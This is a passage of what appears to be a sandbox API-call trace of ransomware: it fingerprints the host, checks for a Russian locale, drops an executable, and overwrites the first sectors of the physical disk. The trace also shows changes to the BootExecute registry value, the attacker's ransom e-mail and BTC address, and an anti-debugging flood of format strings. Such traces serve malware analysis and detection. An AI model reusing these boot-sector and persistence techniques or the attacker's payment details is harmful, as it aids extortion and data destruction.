	[0075.411] GetCurrentHwProfileW (in: lpHwProfileInfo=0x415ce0 | out: lpHwProfileInfo=0x415ce0) returned 1
	[0075.412] sprintf (in: _Dest=0x192ca8, _Format="\\\\.\\PhysicalDrive%d" | out: _Dest="\\\\.\\PhysicalDrive0") returned 18
	[0075.412] CreateFileA (lpFileName="\\\\.\\PhysicalDrive0" (normalized: "\\device\\harddisk0\\dr0"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc
	[0075.412] DeviceIoControl (in: hDevice=0x1fc, dwIoControlCode=0x2d1400, lpInBuffer=0x192dac*, nInBufferSize=0xc, lpOutBuffer=0x192db8, nOutBufferSize=0x8, lpBytesReturned=0x192dc0, lpOverlapped=0x0 | out: lpInBuffer=0x192dac*, lpOutBuffer=0x192db8*, lpBytesReturned=0x192dc0*=0x8, lpOverlapped=0x0) returned 1
	[0075.412] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x18c) returned 0x8304a0
	[0075.412] DeviceIoControl (in: hDevice=0x1fc, dwIoControlCode=0x2d1400, lpInBuffer=0x192dac*, nInBufferSize=0xc, lpOutBuffer=0x8304a0, nOutBufferSize=0x18c, lpBytesReturned=0x192dc0, lpOverlapped=0x0 | out: lpInBuffer=0x192dac*, lpOutBuffer=0x8304a0*, lpBytesReturned=0x192dc0*=0x18c, lpOverlapped=0x0) returned 1
	[0075.412] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x400) returned 0x830638
	[0075.412] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x8304a0 | out: hHeap=0x830000) returned 1
	[0075.412] CloseHandle (hObject=0x1fc) returned 1
	[0075.413] sprintf (in: _Dest=0x192ca8, _Format="\\\\.\\PhysicalDrive%d" | out: _Dest="\\\\.\\PhysicalDrive1") returned 18
	[0075.418] CreateFileA (lpFileName="\\\\.\\PhysicalDrive1" (normalized: "physicaldrive1"), dwDesiredAccess=0x0, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.418] GetLastError () returned 0x2
	[0075.418] wcstombs (in: _Dest=0x19fef8, _Source="{fae9929d-933c-11e7-a51d-806e6f6e6963}", _MaxCount=0x4e | out: _Dest="{fae9929d-933c-11e7-a51d-806e6f6e6963}") returned 0x26
	[0075.418] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000
	[0075.418] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Init") returned 0x779da890
	[0075.418] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Update") returned 0x779d5d90
	[0075.418] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Final") returned 0x779d5cf0
	[0075.418] MD5Init () returned 0x192d48
	[0075.418] MD5Update () returned 0x192d60
	[0075.418] MD5Final () returned 0x0
	[0075.418] mbstowcs (in: _Dest=0x415f88, _Source="0E49A740B97D599F65DA582ACEC4991B", _MaxCount=0x9c | out: _Dest="0E49A740B97D599F65DA582ACEC4991B") returned 0x20
	[0075.418] GetShortPathNameW (in: lpszLongPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe", lpszShortPath=0x413ce0, cchBuffer=0x2000 | out: lpszShortPath="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe") returned 0x2b
	[0075.419] GetTempPathW (in: nBufferLength=0x1000, lpBuffer=0x40ad40 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\") returned 0x23
	[0075.419] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\7120TM~1.EXE" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\7120tm~1.exe")) returned 1
	[0075.421] RtlGetNtVersionNumbers () returned 0xf0003ad7
	[0075.421] GetProcAddress (hModule=0x772d0000, lpProcName="IsWow64Process") returned 0x772e5a20
	[0075.421] GetCurrentProcess () returned 0xffffffff
	[0075.421] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x41837c | out: Wow64Process=0x41837c) returned 1
	[0075.421] GetComputerNameA (in: lpBuffer=0x418381, nSize=0x192dc4 | out: lpBuffer="NQDPDE", nSize=0x192dc4) returned 1
	[0075.422] GetUserNameA (in: lpBuffer=0x4183c1, pcbBuffer=0x192dc4 | out: lpBuffer="FD1HVy", pcbBuffer=0x192dc4) returned 1
	[0075.443] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x418409, nSize=0x1000 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\qjpg.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\qjpg.exe")) returned 0x2b
	[0075.444] GetSystemDefaultLCID () returned 0x409
	[0075.444] GetLocaleInfoA (in: Locale=0x409, LCType=0x1001, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 8
	[0075.444] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x9) returned 0x8304a0
	[0075.444] GetLocaleInfoA (in: Locale=0x409, LCType=0x1001, lpLCData=0x8304a0, cchData=8 | out: lpLCData="English") returned 8
	[0075.444] _strcmpi (_Str1="English", _Str2="Russian") returned -1
	[0075.444] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x12e) returned 0x8304b8
	[0075.445] GetProcAddress (hModule=0x77970000, lpProcName="RtlDecompressBuffer") returned 0x779e1bc0
	[0075.445] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x8304b8, UncompressedBufferSize=0x12e, CompressedBuffer=0x4094d4, CompressedBufferSize=0x13c, FinalUncompressedSize=0x192d60 | out: UncompressedBuffer=0x8304b8, FinalUncompressedSize=0x192d60) returned 0x0
	[0075.445] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0xc00) returned 0x830a40
	[0075.445] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x830a40, UncompressedBufferSize=0xc00, CompressedBuffer=0x409610, CompressedBufferSize=0x536, FinalUncompressedSize=0x192d5c | out: UncompressedBuffer=0x830a40, FinalUncompressedSize=0x192d5c) returned 0x0
	[0075.445] GetProcessHeap () returned 0x5c0000
	[0075.445] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x8, Size=0x12) returned 0x5d52b8
	[0075.445] _swprintf (in: param_1=0x40fb80, param_2="%s%s.exe" | out: param_1="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\lis.exe") returned 42
	[0075.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\lis.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\lis.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x210
	[0075.446] WriteFile (in: hFile=0x210, lpBuffer=0x830a40*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x192db8, lpOverlapped=0x0 | out: lpBuffer=0x830a40*, lpNumberOfBytesWritten=0x192db8*=0xc00, lpOverlapped=0x0) returned 1
	[0075.447] FlushFileBuffers (hFile=0x210) returned 1
	[0075.451] CloseHandle (hObject=0x210) returned 1
	[0075.453] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x830a40 | out: hHeap=0x830000) returned 1
	[0075.453] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x9, Size=0x4e20) returned 0x830a40
	[0075.453] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x830a40, UncompressedBufferSize=0x323, CompressedBuffer=0x40a3da, CompressedBufferSize=0x25a, FinalUncompressedSize=0x192d5c | out: UncompressedBuffer=0x830a40, FinalUncompressedSize=0x192d5c) returned 0x0
	[0075.453] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x9, Size=0x85c) returned 0x835868
	[0075.453] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x835868, UncompressedBufferSize=0x42e, CompressedBuffer=0x40a634, CompressedBufferSize=0x3d4, FinalUncompressedSize=0x192d5c | out: UncompressedBuffer=0x835868, FinalUncompressedSize=0x192d5c) returned 0x0
	[0075.453] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x9, Size=0x36) returned 0x8305f0
	[0075.453] RtlDecompressBuffer (in: CompressionFormat=0x2, UncompressedBuffer=0x8305f0, UncompressedBufferSize=0x1b, CompressedBuffer=0x40aa08, CompressedBufferSize=0x21, FinalUncompressedSize=0x192d5c | out: UncompressedBuffer=0x8305f0, FinalUncompressedSize=0x192d5c) returned 0x0
	[0075.453] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x210
	[0075.453] GetFileSize (in: hFile=0x210, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x384
	[0075.453] ReadFile (in: hFile=0x210, lpBuffer=0x5e0740, nNumberOfBytesToRead=0x384, lpNumberOfBytesRead=0x192dc4, lpOverlapped=0x0 | out: lpBuffer=0x5e0740*, lpNumberOfBytesRead=0x192dc4*=0x384, lpOverlapped=0x0) returned 1
	[0075.454] CloseHandle (hObject=0x210) returned 1
	[0075.454] sprintf (in: _Dest=0x192d58, _Format="\\\\.\\PHYSICALDRIVE%d" | out: _Dest="\\\\.\\PHYSICALDRIVE0") returned 18
	[0075.454] CreateFileA (lpFileName="\\\\.\\PHYSICALDRIVE0" (normalized: "\\device\\harddisk0\\dr0"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x210
	[0075.456] DeviceIoControl (in: hDevice=0x210, dwIoControlCode=0x70000, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x192d30, nOutBufferSize=0x18, lpBytesReturned=0x192d28, lpOverlapped=0x0 | out: lpOutBuffer=0x192d30*, lpBytesReturned=0x192d28*=0x18, lpOverlapped=0x0) returned 1
	[0075.456] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x200) returned 0x8360d0
	[0075.456] ReadFile (in: hFile=0x210, lpBuffer=0x8360d0, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8360d0*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.456] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x200) returned 0x8362d8
	[0075.456] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x200) returned 0x8364e0
	[0075.456] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.457] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.457] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.458] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.458] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.458] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.459] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.459] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.459] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.460] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.460] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.460] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.461] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.461] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.461] ReadFile (in: hFile=0x210, lpBuffer=0x8362d8, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8362d8*, lpNumberOfBytesRead=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.462] SetFilePointer (in: hFile=0x210, lDistanceToMove=1024, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x400
	[0075.462] WriteFile (in: hFile=0x210, lpBuffer=0x5e0740*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x5e0740*, lpNumberOfBytesWritten=0x192d28*=0x800, lpOverlapped=0x0) returned 1
	[0075.462] GetLocalTime (in: lpSystemTime=0x192db8 | out: lpSystemTime=0x192db8*(wYear=0x7e4, wMonth=0x3, wDayOfWeek=0x4, wDay=0xc, wHour=0xf, wMinute=0x2d, wSecond=0x28, wMilliseconds=0x82)) 
	[0075.463] RtlAllocateHeap (HeapHandle=0x830000, Flags=0x8, Size=0x200) returned 0x8366e8
	[0075.468] SetFilePointer (in: hFile=0x210, lDistanceToMove=3072, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc00
	[0075.468] WriteFile (in: hFile=0x210, lpBuffer=0x8366e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8366e8*, lpNumberOfBytesWritten=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.469] HeapFree (in: hHeap=0x830000, dwFlags=0x0, lpMem=0x8366e8 | out: hHeap=0x830000) returned 1
	[0075.469] SetFilePointer (in: hFile=0x210, lDistanceToMove=512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x200
	[0075.469] WriteFile (in: hFile=0x210, lpBuffer=0x8360d0*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8360d0*, lpNumberOfBytesWritten=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.469] SetFilePointer (in: hFile=0x210, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0075.469] WriteFile (in: hFile=0x210, lpBuffer=0x8364e0*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x192d28, lpOverlapped=0x0 | out: lpBuffer=0x8364e0*, lpNumberOfBytesWritten=0x192d28*=0x200, lpOverlapped=0x0) returned 1
	[0075.469] CloseHandle (hObject=0x210) returned 1
	[0075.470] sprintf (in: _Dest=0x192d58, _Format="\\\\.\\PHYSICALDRIVE%d" | out: _Dest="\\\\.\\PHYSICALDRIVE1") returned 18
	[0075.475] CreateFileA (lpFileName="\\\\.\\PHYSICALDRIVE1" (normalized: "physicaldrive1"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0075.475] DeviceIoControl (in: hDevice=0xffffffff, dwIoControlCode=0x70000, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x192d30, nOutBufferSize=0x18, lpBytesReturned=0x192d28, lpOverlapped=0x0 | out: lpOutBuffer=0x192d30, lpBytesReturned=0x192d28, lpOverlapped=0x0) returned 0
	[0075.475] CloseHandle (hObject=0xffffffff) returned 1
	[0075.475] _alloca_probe () returned 0x40401d
	[0075.475] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Control\\Session Manager", ulOptions=0x0, samDesired=0x2001f, phkResult=0x192dc4 | out: phkResult=0x192dc4*=0x210) returned 0x0
	[0075.475] RegQueryValueExW (in: hKey=0x210, lpValueName="BootExecute", lpReserved=0x0, lpType=0x192dbc, lpData=0x190dbc, lpcbData=0x192dc0*=0x1000 | out: lpType=0x192dbc*=0x7, lpData=0x190dbc*, lpcbData=0x192dc0*=0x2a) returned 0x0
	[0075.475] RegSetValueExW (in: hKey=0x210, lpValueName="BootExecute", Reserved=0x0, dwType=0x7, lpData=0x190dbc*, cbData=0x7e | out: lpData=0x190dbc*) returned 0x0
	[0075.475] RegCloseKey (hKey=0x210) returned 0x0
	[0075.475] ExpandEnvironmentStringsW (in: lpSrc="%PROCESSOR_ARCHITECTURE%", lpDst=0x192578, nSize=0x104 | out: lpDst="x86") returned 0x4
	[0075.475] ExpandEnvironmentStringsW (in: lpSrc="%PROCESSOR_IDENTIFIER%", lpDst=0x192988, nSize=0x104 | out: lpDst="Intel64 Family 6 Model 85 Stepping 4, GenuineIntel") returned 0x33
	[0075.475] ExpandEnvironmentStringsW (in: lpSrc="%PROCESSOR_LEVEL%", lpDst=0x192b90, nSize=0x104 | out: lpDst="6") returned 0x2
	[0075.475] ExpandEnvironmentStringsW (in: lpSrc="%PROCESSOR_REVISION%", lpDst=0x192780, nSize=0x104 | out: lpDst="5504") returned 0x5
	[0075.475] sprintf (in: _Dest=0x192d98, _Format="%s%s%s%s" | out: _Dest="xI65") returned 4
	[0075.475] LoadLibraryA (lpLibFileName="advapi32") returned 0x756e0000
	[0075.476] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Init") returned 0x779da890
	[0075.476] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Update") returned 0x779d5d90
	[0075.476] GetProcAddress (hModule=0x756e0000, lpProcName="MD5Final") returned 0x779d5cf0
	[0075.476] MD5Init () returned 0x1924f8
	[0075.476] MD5Update () returned 0x192510
	[0075.476] MD5Final () returned 0x0
	[0075.476] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="ADB30A2AD9591DD667796100DD07A7A7", ulOptions=0x0, samDesired=0x1, phkResult=0x192dc4 | out: phkResult=0x192dc4*=0x214) returned 0x0
	[0075.476] RegQueryValueExA (in: hKey=0x214, lpValueName="E-mail", lpReserved=0x0, lpType=0x192dbc, lpData=0x413b88, lpcbData=0x192dc0*=0x30 | out: lpType=0x192dbc*=0x1, lpData="coronaVi2022@protonmail.ch", lpcbData=0x192dc0*=0x30) returned 0x0
	[0075.476] RegQueryValueExA (in: hKey=0x214, lpValueName="BTC", lpReserved=0x0, lpType=0x192dbc, lpData=0x415dd4, lpcbData=0x192dc0*=0x30 | out: lpType=0x192dbc*=0x1, lpData="bc1q6ryyex33jxgr946u3jyre66uey07e2xy3v2cah", lpcbData=0x192dc0*=0x30) returned 0x0
	[0075.476] RegCloseKey (hKey=0x214) returned 0x0
	[0075.476] GetTickCount () returned 0x1153e5d
	[0075.476] _alloca_probe () returned 0x404aed
	[0075.477] mbstowcs (in: _Dest=0x415e10, _Source="coronaVi2022@protonmail.ch", _MaxCount=0x82 | out: _Dest="coronaVi2022@protonmail.ch") returned 0x1a
	[0075.477] OutputDebugStringA (lpOutputString="%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s") 
	[0075.478] OutputDebugStringA (lpOutputString="©RZA") 
	[0075.478] OutputDebugStringW (lpOutputString="%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%